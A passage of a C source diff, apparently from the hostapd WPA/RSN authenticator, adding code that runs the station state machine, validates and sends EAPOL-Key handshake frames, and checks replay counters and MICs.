+int wpa_reconfig(struct wpa_authenticator *wpa_auth, + struct wpa_auth_config *conf) +{ + struct wpa_group *group; + if (wpa_auth == NULL) + return 0; + + os_memcpy(&wpa_auth->conf, conf, sizeof(*conf)); + if (wpa_auth_gen_wpa_ie(wpa_auth)) { + wpa_printf(MSG_ERROR, "Could not generate WPA IE."); + return -1; + } + + /* + * Reinitialize GTK to make sure it is suitable for the new + * configuration. + */ + group = wpa_auth->group; + group->GTK_len = wpa_cipher_key_len(wpa_auth->conf.wpa_group); + group->GInit = TRUE; + wpa_group_sm_step(wpa_auth, group); + group->GInit = FALSE; + wpa_group_sm_step(wpa_auth, group); + + return 0; +} + + +struct wpa_state_machine * +wpa_auth_sta_init(struct wpa_authenticator *wpa_auth, const u8 *addr, + const u8 *p2p_dev_addr) +{ + struct wpa_state_machine *sm; + + sm = os_zalloc(sizeof(struct wpa_state_machine)); + if (sm == NULL) + return NULL; + os_memcpy(sm->addr, addr, ETH_ALEN); + if (p2p_dev_addr) + os_memcpy(sm->p2p_dev_addr, p2p_dev_addr, ETH_ALEN); + + sm->wpa_auth = wpa_auth; + sm->group = wpa_auth->group; + + return sm; +} + + +int wpa_auth_sta_associated(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm) +{ + if (wpa_auth == NULL || !wpa_auth->conf.wpa || sm == NULL) + return -1; + +#ifdef CONFIG_IEEE80211R + if (sm->ft_completed) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, + "FT authentication already completed - do not " + "start 4-way handshake"); + return 0; + } +#endif /* CONFIG_IEEE80211R */ + + if (sm->started) { + os_memset(&sm->key_replay, 0, sizeof(sm->key_replay)); + sm->ReAuthenticationRequest = TRUE; + return wpa_sm_step(sm); + } + + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, + "start authentication"); + sm->started = 1; + + sm->Init = TRUE; + if (wpa_sm_step(sm) == 1) + return 1; /* should not really happen */ + sm->Init = FALSE; + sm->AuthenticationRequest = TRUE; + return wpa_sm_step(sm); +} + + +void wpa_auth_sta_no_wpa(struct wpa_state_machine *sm) +{ + /* WPA/RSN was not used - clear WPA state. This is needed if the STA + * reassociates back to the same AP while the previous entry for the + * STA has not yet been removed. */ + if (sm == NULL) + return; + + sm->wpa_key_mgmt = 0; +} + + +static void wpa_free_sta_sm(struct wpa_state_machine *sm) +{ + if (sm->GUpdateStationKeys) { + sm->group->GKeyDoneStations--; + sm->GUpdateStationKeys = FALSE; + } +#ifdef CONFIG_IEEE80211R + os_free(sm->assoc_resp_ftie); +#endif /* CONFIG_IEEE80211R */ + os_free(sm->last_rx_eapol_key); + os_free(sm->wpa_ie); + os_free(sm); +} + + +void wpa_auth_sta_deinit(struct wpa_state_machine *sm) +{ + if (sm == NULL) + return; + + if (sm->wpa_auth->conf.wpa_strict_rekey && sm->has_GTK) { + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "strict rekeying - force GTK rekey since STA " + "is leaving"); + eloop_cancel_timeout(wpa_rekey_gtk, sm->wpa_auth, NULL); + eloop_register_timeout(0, 500000, wpa_rekey_gtk, sm->wpa_auth, + NULL); + } + + eloop_cancel_timeout(wpa_send_eapol_timeout, sm->wpa_auth, sm); + sm->pending_1_of_4_timeout = 0; + eloop_cancel_timeout(wpa_sm_call_step, sm, NULL); + eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm); + if (sm->in_step_loop) { + /* Must not free state machine while wpa_sm_step() is running. + * Freeing will be completed in the end of wpa_sm_step(). */ + wpa_printf(MSG_DEBUG, "WPA: Registering pending STA state " + "machine deinit for " MACSTR, MAC2STR(sm->addr)); + sm->pending_deinit = 1; + } else + wpa_free_sta_sm(sm); +} + + +static void wpa_request_new_ptk(struct wpa_state_machine *sm) +{ + if (sm == NULL) + return; + + sm->PTKRequest = TRUE; + sm->PTK_valid = 0; +} + + +static int wpa_replay_counter_valid(struct wpa_key_replay_counter *ctr, + const u8 *replay_counter) +{ + int i; + for (i = 0; i < RSNA_MAX_EAPOL_RETRIES; i++) { + if (!ctr[i].valid) + break; + if (os_memcmp(replay_counter, ctr[i].counter, + WPA_REPLAY_COUNTER_LEN) == 0) + return 1; + } + return 0; +} + + +static void wpa_replay_counter_mark_invalid(struct wpa_key_replay_counter *ctr, + const u8 *replay_counter) +{ + int i; + for (i = 0; i < RSNA_MAX_EAPOL_RETRIES; i++) { + if (ctr[i].valid && + (replay_counter == NULL || + os_memcmp(replay_counter, ctr[i].counter, + WPA_REPLAY_COUNTER_LEN) == 0)) + ctr[i].valid = FALSE; + } +} + + +#ifdef CONFIG_IEEE80211R +static int ft_check_msg_2_of_4(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, + struct wpa_eapol_ie_parse *kde) +{ + struct wpa_ie_data ie; + struct rsn_mdie *mdie; + + if (wpa_parse_wpa_ie_rsn(kde->rsn_ie, kde->rsn_ie_len, &ie) < 0 || + ie.num_pmkid != 1 || ie.pmkid == NULL) { + wpa_printf(MSG_DEBUG, "FT: No PMKR1Name in " + "FT 4-way handshake message 2/4"); + return -1; + } + + os_memcpy(sm->sup_pmk_r1_name, ie.pmkid, PMKID_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name from Supplicant", + sm->sup_pmk_r1_name, PMKID_LEN); + + if (!kde->mdie || !kde->ftie) { + wpa_printf(MSG_DEBUG, "FT: No %s in FT 4-way handshake " + "message 2/4", kde->mdie ? "FTIE" : "MDIE"); + return -1; + } + + mdie = (struct rsn_mdie *) (kde->mdie + 2); + if (kde->mdie[1] < sizeof(struct rsn_mdie) || + os_memcmp(wpa_auth->conf.mobility_domain, mdie->mobility_domain, + MOBILITY_DOMAIN_ID_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: MDIE mismatch"); + return -1; + } + + if (sm->assoc_resp_ftie && + (kde->ftie[1] != sm->assoc_resp_ftie[1] || + os_memcmp(kde->ftie, sm->assoc_resp_ftie, + 2 + sm->assoc_resp_ftie[1]) != 0)) { + wpa_printf(MSG_DEBUG, "FT: FTIE mismatch"); + wpa_hexdump(MSG_DEBUG, "FT: FTIE in EAPOL-Key msg 2/4", + kde->ftie, kde->ftie_len); + wpa_hexdump(MSG_DEBUG, "FT: FTIE in (Re)AssocResp", + sm->assoc_resp_ftie, 2 + sm->assoc_resp_ftie[1]); + return -1; + } + + return 0; +} +#endif /* CONFIG_IEEE80211R */ + + +static int wpa_receive_error_report(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, int group) +{ + /* Supplicant reported a Michael MIC error */ + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key Error Request " + "(STA detected Michael MIC failure (group=%d))", + group); + + if (group && wpa_auth->conf.wpa_group != WPA_CIPHER_TKIP) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "ignore Michael MIC failure report since " + "group cipher is not TKIP"); + } else if (!group && sm->pairwise != WPA_CIPHER_TKIP) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "ignore Michael MIC failure report since " + "pairwise cipher is not TKIP"); + } else { + if (wpa_auth_mic_failure_report(wpa_auth, sm->addr) > 0) + return 1; /* STA entry was removed */ + sm->dot11RSNAStatsTKIPRemoteMICFailures++; + wpa_auth->dot11RSNAStatsTKIPRemoteMICFailures++; + } + + /* + * Error report is not a request for a new key handshake, but since + * Authenticator may do it, let's change the keys now anyway. + */ + wpa_request_new_ptk(sm); + return 0; +} + + +void wpa_receive(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, + u8 *data, size_t data_len) +{ + struct ieee802_1x_hdr *hdr; + struct wpa_eapol_key *key; + u16 key_info, key_data_length; + enum { PAIRWISE_2, PAIRWISE_4, GROUP_2, REQUEST, + SMK_M1, SMK_M3, SMK_ERROR } msg; + char *msgtxt; + struct wpa_eapol_ie_parse kde; + int ft; + const u8 *eapol_key_ie; + size_t eapol_key_ie_len; + + if (wpa_auth == NULL || !wpa_auth->conf.wpa || sm == NULL) + return; + + if (data_len < sizeof(*hdr) + sizeof(*key)) + return; + + hdr = (struct ieee802_1x_hdr *) data; + key = (struct wpa_eapol_key *) (hdr + 1); + key_info = WPA_GET_BE16(key->key_info); + key_data_length = WPA_GET_BE16(key->key_data_length); + wpa_printf(MSG_DEBUG, "WPA: Received EAPOL-Key from " MACSTR + " key_info=0x%x type=%u key_data_length=%u", + MAC2STR(sm->addr), key_info, key->type, key_data_length); + if (key_data_length > data_len - sizeof(*hdr) - sizeof(*key)) { + wpa_printf(MSG_INFO, "WPA: Invalid EAPOL-Key frame - " + "key_data overflow (%d > %lu)", + key_data_length, + (unsigned long) (data_len - sizeof(*hdr) - + sizeof(*key))); + return; + } + + if (sm->wpa == WPA_VERSION_WPA2) { + if (key->type == EAPOL_KEY_TYPE_WPA) { + /* + * Some deployed station implementations seem to send + * msg 4/4 with incorrect type value in WPA2 mode. + */ + wpa_printf(MSG_DEBUG, "Workaround: Allow EAPOL-Key " + "with unexpected WPA type in RSN mode"); + } else if (key->type != EAPOL_KEY_TYPE_RSN) { + wpa_printf(MSG_DEBUG, "Ignore EAPOL-Key with " + "unexpected type %d in RSN mode", + key->type); + return; + } + } else { + if (key->type != EAPOL_KEY_TYPE_WPA) { + wpa_printf(MSG_DEBUG, "Ignore EAPOL-Key with " + "unexpected type %d in WPA mode", + key->type); + return; + } + } + + wpa_hexdump(MSG_DEBUG, "WPA: Received Key Nonce", key->key_nonce, + WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "WPA: Received Replay Counter", + key->replay_counter, WPA_REPLAY_COUNTER_LEN); + + /* FIX: verify that the EAPOL-Key frame was encrypted if pairwise keys + * are set */ + + if ((key_info & (WPA_KEY_INFO_SMK_MESSAGE | WPA_KEY_INFO_REQUEST)) == + (WPA_KEY_INFO_SMK_MESSAGE | WPA_KEY_INFO_REQUEST)) { + if (key_info & WPA_KEY_INFO_ERROR) { + msg = SMK_ERROR; + msgtxt = "SMK Error"; + } else { + msg = SMK_M1; + msgtxt = "SMK M1"; + } + } else if (key_info & WPA_KEY_INFO_SMK_MESSAGE) { + msg = SMK_M3; + msgtxt = "SMK M3"; + } else if (key_info & WPA_KEY_INFO_REQUEST) { + msg = REQUEST; + msgtxt = "Request"; + } else if (!(key_info & WPA_KEY_INFO_KEY_TYPE)) { + msg = GROUP_2; + msgtxt = "2/2 Group"; + } else if (key_data_length == 0) { + msg = PAIRWISE_4; + msgtxt = "4/4 Pairwise"; + } else { + msg = PAIRWISE_2; + msgtxt = "2/4 Pairwise"; + } + + /* TODO: key_info type validation for PeerKey */ + if (msg == REQUEST || msg == PAIRWISE_2 || msg == PAIRWISE_4 || + msg == GROUP_2) { + u16 ver = key_info & WPA_KEY_INFO_TYPE_MASK; + if (sm->pairwise == WPA_CIPHER_CCMP || + sm->pairwise == WPA_CIPHER_GCMP) { + if (wpa_use_aes_cmac(sm) && + ver != WPA_KEY_INFO_TYPE_AES_128_CMAC) { + wpa_auth_logger(wpa_auth, sm->addr, + LOGGER_WARNING, + "advertised support for " + "AES-128-CMAC, but did not " + "use it"); + return; + } + + if (!wpa_use_aes_cmac(sm) && + ver != WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { + wpa_auth_logger(wpa_auth, sm->addr, + LOGGER_WARNING, + "did not use HMAC-SHA1-AES " + "with CCMP/GCMP"); + return; + } + } + } + + if (key_info & WPA_KEY_INFO_REQUEST) { + if (sm->req_replay_counter_used && + os_memcmp(key->replay_counter, sm->req_replay_counter, + WPA_REPLAY_COUNTER_LEN) <= 0) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_WARNING, + "received EAPOL-Key request with " + "replayed counter"); + return; + } + } + + if (!(key_info & WPA_KEY_INFO_REQUEST) && + !wpa_replay_counter_valid(sm->key_replay, key->replay_counter)) { + int i; + + if (msg == PAIRWISE_2 && + wpa_replay_counter_valid(sm->prev_key_replay, + key->replay_counter) && + sm->wpa_ptk_state == WPA_PTK_PTKINITNEGOTIATING && + os_memcmp(sm->SNonce, key->key_nonce, WPA_NONCE_LEN) != 0) + { + /* + * Some supplicant implementations (e.g., Windows XP + * WZC) update SNonce for each EAPOL-Key 2/4. This + * breaks the workaround on accepting any of the + * pending requests, so allow the SNonce to be updated + * even if we have already sent out EAPOL-Key 3/4. + */ + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, + "Process SNonce update from STA " + "based on retransmitted EAPOL-Key " + "1/4"); + sm->update_snonce = 1; + wpa_replay_counter_mark_invalid(sm->prev_key_replay, + key->replay_counter); + goto continue_processing; + } + + if (msg == PAIRWISE_2 && + wpa_replay_counter_valid(sm->prev_key_replay, + key->replay_counter) && + sm->wpa_ptk_state == WPA_PTK_PTKINITNEGOTIATING) { + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, + "ignore retransmitted EAPOL-Key %s - " + "SNonce did not change", msgtxt); + } else { + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, + "received EAPOL-Key %s with " + "unexpected replay counter", msgtxt); + } + for (i = 0; i < RSNA_MAX_EAPOL_RETRIES; i++) { + if (!sm->key_replay[i].valid) + break; + wpa_hexdump(MSG_DEBUG, "pending replay counter", + sm->key_replay[i].counter, + WPA_REPLAY_COUNTER_LEN); + } + wpa_hexdump(MSG_DEBUG, "received replay counter", + key->replay_counter, WPA_REPLAY_COUNTER_LEN); + return; + } + +continue_processing: + switch (msg) { + case PAIRWISE_2: + if (sm->wpa_ptk_state != WPA_PTK_PTKSTART && + sm->wpa_ptk_state != WPA_PTK_PTKCALCNEGOTIATING && + (!sm->update_snonce || + sm->wpa_ptk_state != WPA_PTK_PTKINITNEGOTIATING)) { + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key msg 2/4 in " + "invalid state (%d) - dropped", + sm->wpa_ptk_state); + return; + } + random_add_randomness(key->key_nonce, WPA_NONCE_LEN); + if (sm->group->reject_4way_hs_for_entropy) { + /* + * The system did not have enough entropy to generate + * strong random numbers. Reject the first 4-way + * handshake(s) and collect some entropy based on the + * information from it. Once enough entropy is + * available, the next atempt will trigger GMK/Key + * Counter update and the station will be allowed to + * continue. + */ + wpa_printf(MSG_DEBUG, "WPA: Reject 4-way handshake to " + "collect more entropy for random number " + "generation"); + random_mark_pool_ready(); + wpa_sta_disconnect(wpa_auth, sm->addr); + return; + } + if (wpa_parse_kde_ies((u8 *) (key + 1), key_data_length, + &kde) < 0) { + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key msg 2/4 with " + "invalid Key Data contents"); + return; + } + if (kde.rsn_ie) { + eapol_key_ie = kde.rsn_ie; + eapol_key_ie_len = kde.rsn_ie_len; + } else { + eapol_key_ie = kde.wpa_ie; + eapol_key_ie_len = kde.wpa_ie_len; + } + ft = sm->wpa == WPA_VERSION_WPA2 && + wpa_key_mgmt_ft(sm->wpa_key_mgmt); + if (sm->wpa_ie == NULL || + wpa_compare_rsn_ie(ft, + sm->wpa_ie, sm->wpa_ie_len, + eapol_key_ie, eapol_key_ie_len)) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "WPA IE from (Re)AssocReq did not " + "match with msg 2/4"); + if (sm->wpa_ie) { + wpa_hexdump(MSG_DEBUG, "WPA IE in AssocReq", + sm->wpa_ie, sm->wpa_ie_len); + } + wpa_hexdump(MSG_DEBUG, "WPA IE in msg 2/4", + eapol_key_ie, eapol_key_ie_len); + /* MLME-DEAUTHENTICATE.request */ + wpa_sta_disconnect(wpa_auth, sm->addr); + return; + } +#ifdef CONFIG_IEEE80211R + if (ft && ft_check_msg_2_of_4(wpa_auth, sm, &kde) < 0) { + wpa_sta_disconnect(wpa_auth, sm->addr); + return; + } +#endif /* CONFIG_IEEE80211R */ + break; + case PAIRWISE_4: + if (sm->wpa_ptk_state != WPA_PTK_PTKINITNEGOTIATING || + !sm->PTK_valid) { + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key msg 4/4 in " + "invalid state (%d) - dropped", + sm->wpa_ptk_state); + return; + } + break; + case GROUP_2: + if (sm->wpa_ptk_group_state != WPA_PTK_GROUP_REKEYNEGOTIATING + || !sm->PTK_valid) { + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key msg 2/2 in " + "invalid state (%d) - dropped", + sm->wpa_ptk_group_state); + return; + } + break; +#ifdef CONFIG_PEERKEY + case SMK_M1: + case SMK_M3: + case SMK_ERROR: + if (!wpa_auth->conf.peerkey) { + wpa_printf(MSG_DEBUG, "RSN: SMK M1/M3/Error, but " + "PeerKey use disabled - ignoring message"); + return; + } + if (!sm->PTK_valid) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key msg SMK in " + "invalid state - dropped"); + return; + } + break; +#else /* CONFIG_PEERKEY */ + case SMK_M1: + case SMK_M3: + case SMK_ERROR: + return; /* STSL disabled - ignore SMK messages */ +#endif /* CONFIG_PEERKEY */ + case REQUEST: + break; + } + + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, + "received EAPOL-Key frame (%s)", msgtxt); + + if (key_info & WPA_KEY_INFO_ACK) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "received invalid EAPOL-Key: Key Ack set"); + return; + } + + if (!(key_info & WPA_KEY_INFO_MIC)) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "received invalid EAPOL-Key: Key MIC not set"); + return; + } + + sm->MICVerified = FALSE; + if (sm->PTK_valid && !sm->update_snonce) { + if (wpa_verify_key_mic(&sm->PTK, data, data_len)) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key with invalid MIC"); + return; + } + sm->MICVerified = TRUE; + eloop_cancel_timeout(wpa_send_eapol_timeout, wpa_auth, sm); + sm->pending_1_of_4_timeout = 0; + } + + if (key_info & WPA_KEY_INFO_REQUEST) { + if (sm->MICVerified) { + sm->req_replay_counter_used = 1; + os_memcpy(sm->req_replay_counter, key->replay_counter, + WPA_REPLAY_COUNTER_LEN); + } else { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key request with " + "invalid MIC"); + return; + } + + /* + * TODO: should decrypt key data field if encryption was used; + * even though MAC address KDE is not normally encrypted, + * supplicant is allowed to encrypt it. + */ + if (msg == SMK_ERROR) { +#ifdef CONFIG_PEERKEY + wpa_smk_error(wpa_auth, sm, key); +#endif /* CONFIG_PEERKEY */ + return; + } else if (key_info & WPA_KEY_INFO_ERROR) { + if (wpa_receive_error_report( + wpa_auth, sm, + !(key_info & WPA_KEY_INFO_KEY_TYPE)) > 0) + return; /* STA entry was removed */ + } else if (key_info & WPA_KEY_INFO_KEY_TYPE) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key Request for new " + "4-Way Handshake"); + wpa_request_new_ptk(sm); +#ifdef CONFIG_PEERKEY + } else if (msg == SMK_M1) { + wpa_smk_m1(wpa_auth, sm, key); +#endif /* CONFIG_PEERKEY */ + } else if (key_data_length > 0 && + wpa_parse_kde_ies((const u8 *) (key + 1), + key_data_length, &kde) == 0 && + kde.mac_addr) { + } else { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "received EAPOL-Key Request for GTK " + "rekeying"); + eloop_cancel_timeout(wpa_rekey_gtk, wpa_auth, NULL); + wpa_rekey_gtk(wpa_auth, NULL); + } + } else { + /* Do not allow the same key replay counter to be reused. */ + wpa_replay_counter_mark_invalid(sm->key_replay, + key->replay_counter); + + if (msg == PAIRWISE_2) { + /* + * Maintain a copy of the pending EAPOL-Key frames in + * case the EAPOL-Key frame was retransmitted. This is + * needed to allow EAPOL-Key msg 2/4 reply to another + * pending msg 1/4 to update the SNonce to work around + * unexpected supplicant behavior. + */ + os_memcpy(sm->prev_key_replay, sm->key_replay, + sizeof(sm->key_replay)); + } else { + os_memset(sm->prev_key_replay, 0, + sizeof(sm->prev_key_replay)); + } + + /* + * Make sure old valid counters are not accepted anymore and + * do not get copied again. + */ + wpa_replay_counter_mark_invalid(sm->key_replay, NULL); + } + +#ifdef CONFIG_PEERKEY + if (msg == SMK_M3) { + wpa_smk_m3(wpa_auth, sm, key); + return; + } +#endif /* CONFIG_PEERKEY */ + + os_free(sm->last_rx_eapol_key); + sm->last_rx_eapol_key = os_malloc(data_len); + if (sm->last_rx_eapol_key == NULL) + return; + os_memcpy(sm->last_rx_eapol_key, data, data_len); + sm->last_rx_eapol_key_len = data_len; + + sm->rx_eapol_key_secure = !!(key_info & WPA_KEY_INFO_SECURE); + sm->EAPOLKeyReceived = TRUE; + sm->EAPOLKeyPairwise = !!(key_info & WPA_KEY_INFO_KEY_TYPE); + sm->EAPOLKeyRequest = !!(key_info & WPA_KEY_INFO_REQUEST); + os_memcpy(sm->SNonce, key->key_nonce, WPA_NONCE_LEN); + wpa_sm_step(sm); +} + + +static int wpa_gmk_to_gtk(const u8 *gmk, const char *label, const u8 *addr, + const u8 *gnonce, u8 *gtk, size_t gtk_len) +{ + u8 data[ETH_ALEN + WPA_NONCE_LEN + 8 + 16]; + u8 *pos; + int ret = 0; + + /* GTK = PRF-X(GMK, "Group key expansion", + * AA || GNonce || Time || random data) + * The example described in the IEEE 802.11 standard uses only AA and + * GNonce as inputs here. Add some more entropy since this derivation + * is done only at the Authenticator and as such, does not need to be + * exactly same. + */ + os_memcpy(data, addr, ETH_ALEN); + os_memcpy(data + ETH_ALEN, gnonce, WPA_NONCE_LEN); + pos = data + ETH_ALEN + WPA_NONCE_LEN; + wpa_get_ntp_timestamp(pos); + pos += 8; + if (random_get_bytes(pos, 16) < 0) + ret = -1; + +#ifdef CONFIG_IEEE80211W + sha256_prf(gmk, WPA_GMK_LEN, label, data, sizeof(data), gtk, gtk_len); +#else /* CONFIG_IEEE80211W */ + if (sha1_prf(gmk, WPA_GMK_LEN, label, data, sizeof(data), gtk, gtk_len) + < 0) + ret = -1; +#endif /* CONFIG_IEEE80211W */ + + return ret; +} + + +static void wpa_send_eapol_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_authenticator *wpa_auth = eloop_ctx; + struct wpa_state_machine *sm = timeout_ctx; + + sm->pending_1_of_4_timeout = 0; + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, "EAPOL-Key timeout"); + sm->TimeoutEvt = TRUE; + wpa_sm_step(sm); +} + + +void __wpa_send_eapol(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, int key_info, + const u8 *key_rsc, const u8 *nonce, + const u8 *kde, size_t kde_len, + int keyidx, int encr, int force_version) +{ + struct ieee802_1x_hdr *hdr; + struct wpa_eapol_key *key; + size_t len; + int alg; + int key_data_len, pad_len = 0; + u8 *buf, *pos; + int version, pairwise; + int i; + + len = sizeof(struct ieee802_1x_hdr) + sizeof(struct wpa_eapol_key); + + if (force_version) + version = force_version; + else if (wpa_use_aes_cmac(sm)) + version = WPA_KEY_INFO_TYPE_AES_128_CMAC; + else if (sm->pairwise != WPA_CIPHER_TKIP) + version = WPA_KEY_INFO_TYPE_HMAC_SHA1_AES; + else + version = WPA_KEY_INFO_TYPE_HMAC_MD5_RC4; + + pairwise = !!(key_info & WPA_KEY_INFO_KEY_TYPE); + + wpa_printf(MSG_DEBUG, "WPA: Send EAPOL(version=%d secure=%d mic=%d " + "ack=%d install=%d pairwise=%d kde_len=%lu keyidx=%d " + "encr=%d)", + version, + (key_info & WPA_KEY_INFO_SECURE) ? 1 : 0, + (key_info & WPA_KEY_INFO_MIC) ? 1 : 0, + (key_info & WPA_KEY_INFO_ACK) ? 1 : 0, + (key_info & WPA_KEY_INFO_INSTALL) ? 1 : 0, + pairwise, (unsigned long) kde_len, keyidx, encr); + + key_data_len = kde_len; + + if ((version == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES || + version == WPA_KEY_INFO_TYPE_AES_128_CMAC) && encr) { + pad_len = key_data_len % 8; + if (pad_len) + pad_len = 8 - pad_len; + key_data_len += pad_len + 8; + } + + len += key_data_len; + + hdr = os_zalloc(len); + if (hdr == NULL) + return; + hdr->version = wpa_auth->conf.eapol_version; + hdr->type = IEEE802_1X_TYPE_EAPOL_KEY; + hdr->length = host_to_be16(len - sizeof(*hdr)); + key = (struct wpa_eapol_key *) (hdr + 1); + + key->type = sm->wpa == WPA_VERSION_WPA2 ? + EAPOL_KEY_TYPE_RSN : EAPOL_KEY_TYPE_WPA; + key_info |= version; + if (encr && sm->wpa == WPA_VERSION_WPA2) + key_info |= WPA_KEY_INFO_ENCR_KEY_DATA; + if (sm->wpa != WPA_VERSION_WPA2) + key_info |= keyidx << WPA_KEY_INFO_KEY_INDEX_SHIFT; + WPA_PUT_BE16(key->key_info, key_info); + + alg = pairwise ? sm->pairwise : wpa_auth->conf.wpa_group; + WPA_PUT_BE16(key->key_length, wpa_cipher_key_len(alg)); + if (key_info & WPA_KEY_INFO_SMK_MESSAGE) + WPA_PUT_BE16(key->key_length, 0); + + /* FIX: STSL: what to use as key_replay_counter? */ + for (i = RSNA_MAX_EAPOL_RETRIES - 1; i > 0; i--) { + sm->key_replay[i].valid = sm->key_replay[i - 1].valid; + os_memcpy(sm->key_replay[i].counter, + sm->key_replay[i - 1].counter, + WPA_REPLAY_COUNTER_LEN); + } + inc_byte_array(sm->key_replay[0].counter, WPA_REPLAY_COUNTER_LEN); + os_memcpy(key->replay_counter, sm->key_replay[0].counter, + WPA_REPLAY_COUNTER_LEN); + sm->key_replay[0].valid = TRUE; + + if (nonce) + os_memcpy(key->key_nonce, nonce, WPA_NONCE_LEN); + + if (key_rsc) + os_memcpy(key->key_rsc, key_rsc, WPA_KEY_RSC_LEN); + + if (kde && !encr) { + os_memcpy(key + 1, kde, kde_len); + WPA_PUT_BE16(key->key_data_length, kde_len); + } else if (encr && kde) { + buf = os_zalloc(key_data_len); + if (buf == NULL) { + os_free(hdr); + return; + } + pos = buf; + os_memcpy(pos, kde, kde_len); + pos += kde_len; + + if (pad_len) + *pos++ = 0xdd; + + wpa_hexdump_key(MSG_DEBUG, "Plaintext EAPOL-Key Key Data", + buf, key_data_len); + if (version == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES || + version == WPA_KEY_INFO_TYPE_AES_128_CMAC) { + if (aes_wrap(sm->PTK.kek, (key_data_len - 8) / 8, buf, + (u8 *) (key + 1))) { + os_free(hdr); + os_free(buf); + return; + } + WPA_PUT_BE16(key->key_data_length, key_data_len); + } else { + u8 ek[32]; + os_memcpy(key->key_iv, + sm->group->Counter + WPA_NONCE_LEN - 16, 16); + inc_byte_array(sm->group->Counter, WPA_NONCE_LEN); + os_memcpy(ek, key->key_iv, 16); + os_memcpy(ek + 16, sm->PTK.kek, 16); + os_memcpy(key + 1, buf, key_data_len); + rc4_skip(ek, 32, 256, (u8 *) (key + 1), key_data_len); + WPA_PUT_BE16(key->key_data_length, key_data_len); + } + os_free(buf); + } + + if (key_info & WPA_KEY_INFO_MIC) { + if (!sm->PTK_valid) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, + "PTK not valid when sending EAPOL-Key " + "frame"); + os_free(hdr); + return; + } + wpa_eapol_key_mic(sm->PTK.kck, version, (u8 *) hdr, len, + key->key_mic); +#ifdef CONFIG_TESTING_OPTIONS + if (!pairwise && + wpa_auth->conf.corrupt_gtk_rekey_mic_probability > 0.0d && + drand48() < + wpa_auth->conf.corrupt_gtk_rekey_mic_probability) { + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, + "Corrupting group EAPOL-Key Key MIC"); + key->key_mic[0]++; + } +#endif /* CONFIG_TESTING_OPTIONS */ + } + + wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_inc_EapolFramesTx, + 1); + wpa_auth_send_eapol(wpa_auth, sm->addr, (u8 *) hdr, len, + sm->pairwise_set); + os_free(hdr); +} + + +static void wpa_send_eapol(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, int key_info, + const u8 *key_rsc, const u8 *nonce, + const u8 *kde, size_t kde_len, + int keyidx, int encr) +{ + int timeout_ms; + int pairwise = key_info & WPA_KEY_INFO_KEY_TYPE; + int ctr; + + if (sm == NULL) + return; + + __wpa_send_eapol(wpa_auth, sm, key_info, key_rsc, nonce, kde, kde_len, + keyidx, encr, 0); + + ctr = pairwise ? sm->TimeoutCtr : sm->GTimeoutCtr; + if (ctr == 1 && wpa_auth->conf.tx_status) + timeout_ms = pairwise ? eapol_key_timeout_first : + eapol_key_timeout_first_group; + else + timeout_ms = eapol_key_timeout_subseq; + if (pairwise && ctr == 1 && !(key_info & WPA_KEY_INFO_MIC)) + sm->pending_1_of_4_timeout = 1; + wpa_printf(MSG_DEBUG, "WPA: Use EAPOL-Key timeout of %u ms (retry " + "counter %d)", timeout_ms, ctr); + eloop_register_timeout(timeout_ms / 1000, (timeout_ms % 1000) * 1000, + wpa_send_eapol_timeout, wpa_auth, sm); +} + + +static int wpa_verify_key_mic(struct wpa_ptk *PTK, u8 *data, size_t data_len) +{ + struct ieee802_1x_hdr *hdr; + struct wpa_eapol_key *key; + u16 key_info; + int ret = 0; + u8 mic[16]; + + if (data_len < sizeof(*hdr) + sizeof(*key)) + return -1; + + hdr = (struct ieee802_1x_hdr *) data; + key = (struct wpa_eapol_key *) (hdr + 1); + key_info = WPA_GET_BE16(key->key_info); + os_memcpy(mic, key->key_mic, 16); + os_memset(key->key_mic, 0, 16); + if (wpa_eapol_key_mic(PTK->kck, key_info & WPA_KEY_INFO_TYPE_MASK, 